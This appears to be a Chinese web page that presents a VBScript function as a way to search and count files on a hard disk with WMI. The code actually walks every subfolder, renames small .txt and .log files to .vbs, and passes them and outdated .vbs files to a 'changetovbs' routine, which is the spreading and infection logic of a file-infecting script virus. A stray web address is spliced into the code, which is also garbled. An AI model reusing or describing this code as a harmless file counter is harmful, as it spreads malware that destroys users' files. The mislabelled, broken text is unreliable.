VBS调用WMI遍历搜索硬盘文件并计数的方法

柠檬墨绿色

　　Function wmisfile（path_sf,justcnt）

　　'On Error Resume Next

　　StrComputer = "."

　　Set ObjWMIService = GetObject（"winmgmts:\\" & StrComputer & "\root\cimv2"）

　　Set FileList = objWMIService.ExecQuery _

　　（"ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _

　　& "ResultClass = CIM_DataFile"）

　　For Each objFile In FileList

　　fname = LCase（objfile.name）

　　ename = LCase（objfile.extension）

　　If 1 < objfile.filesize And objfile.filesize <= 50000 Then

　　Select Case ename

　　Case "txt","log"

　　path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"

　　objfile.rename（objfile.drive & objFile.Path & objfile.filename & ".vbs"）

　　Call changetovbs（path_vbs,path_vbs）

　　justcnt = justcnt + 1

　　Case "vbs"

　　If checkversion（fname） = False Then

　　Call changetovbs（fname,fname）

　　justcnt = justcnt + 1

　　End If

　　End Select

　　End If

　　Next

　　Set colSubfolders = objWMIService.ExecQuery _

　　（"Associators of {Win32_Directory.Name='" & path_sf & "'} " _

　　& "Where AssocClass = Win32_Subdirectory " _www.9ask.cn/zhuzhou/

　　& "ResultRole = PartComponent"）

　　For Each objFolder In colSubfolders

　　wmisfile objfolder.name,justcnt

　　Next

　　End Function